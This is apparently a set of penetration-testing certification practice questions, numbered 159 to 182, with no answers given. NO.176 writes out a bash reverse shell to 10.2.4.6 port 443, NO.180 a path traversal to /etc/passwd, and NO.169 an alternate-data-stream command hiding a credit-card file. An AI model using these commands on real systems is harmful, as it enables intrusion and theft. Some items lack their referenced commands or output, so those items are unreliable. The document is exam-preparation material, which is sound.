NO.159 An Internet-accessible database server was found with the following ports open: 22, 53, 110, 1433, and 3389. Which of the following would be the BEST hardening technique to secure the server?

NO.160 A security guard observes an individual entering the building after scanning a badge. The facility has a strict badge-in and badge-out requirement with a turnstile. The security guard then audits the badge system and finds two log entries for the badge in Question: within the last 30 minutes. Which of the following has MOST likely occurred?

NO.161 A security analyst was provided with a detailed penetration report, which was performed against the organization’s DMZ environment. It was noted on the report that a finding has a CVSS base score of 10.0.
Which of the following levels of difficulty would be required to exploit this vulnerability?

NO.162 A company requested a penetration tester review the security of an in-house developed Android application. The penetration tester received an APK file to support the assessment. The penetration tester wants to run SAST on the APK file. Which of the following preparatory steps must the penetration tester do FIRST? (Select TWO).

NO.163 Consumer-based IoT devices are often less secure than systems built for traditional desktop computers.
Which of the following BEST describes the reasoning for this?

NO.164 A penetration tester executes the following commands:

Which of the following is a local host vulnerability that the attacker is exploiting?

NO.165 Which of the following excerpts would come from a corporate policy?

NO.166 Which of the following tools can be used to perform a basic remote vulnerability scan of a website’s configuration?

NO.167 The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST likely causes for this difference? (Select TWO)

NO.168 In which of the following components is an exploited vulnerability MOST likely to affect multiple running application containers at once?

NO.169 During post-exploitation, a tester identifies that only system binaries will pass an egress filter and store a file with the following command:
c: creditcards.db>c:winitsystem32calc.exe:creditcards.db
Which of the following file system vulnerabilities does this command take advantage of?

NO.170 A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which of the following would achieve that goal?

NO.171 A penetration tester compromises a system that has unrestricted network over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester mostly like use?

NO.172 During a penetration test a tester Identifies traditional antivirus running on the exploited server. Which of the following techniques would BEST ensure persistence in a post-exploitation phase?

NO.173 A penetration tester is preparing for an assessment of a web server’s security, which is used to host several sensitive web applications. The web server is PKI protected, and the penetration tester reviews the certificate presented by the server during the SSL handshake. Which of the following certificate fields or extensions would be of MOST use to the penetration tester during an assessment?

NO.174 A penetration tester runs the following on a machine:

Which of the following will be returned?

NO.175 Performance based
You are a penetration Inter reviewing a client’s website through a web browser.
Instructions:
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate source or cookies.

NO.176 A tester intends to run the following command on a target system:
bash -i >& /dev/tcp/10.2.4.6/443 0> &1
Which of the following additional commands would need to be executed on the tester’s Linux system to make the previous command successful?

NO.177 A security analyst was provided with a detailed penetration report, which was performed against the organization’s DMZ environment. It was noted on the report that a finding has a CVSS base score of 10.0.
Which of the following levels of difficulty would be required to exploit this vulnerability?

NO.178 A penetration tester is reviewing the following output from a wireless sniffer:

Which of the following can be extrapolated from the above information?

NO.179 A penetration tester successfully exploits a system, receiving a reverse shell.
Which of the following is a Meterpreter command that is used to harvest locally stored credentials?

NO.180 Given the following:
http://example.com/download.php?id-…/…/…/etc/passwd
Which of the following BEST describes the above attack?

NO.181 A penetration tester successfully exploits a DMZ server that appears to be listening on an outbound port. The penetration tester wishes to forward that traffic back to a device. Which of the following are the BEST tools to use for this purpose? (Choose two.)

NO.182 Which of the following properties of the penetration testing engagement agreement will have the largest impact on observing and testing production systems at their highest loads?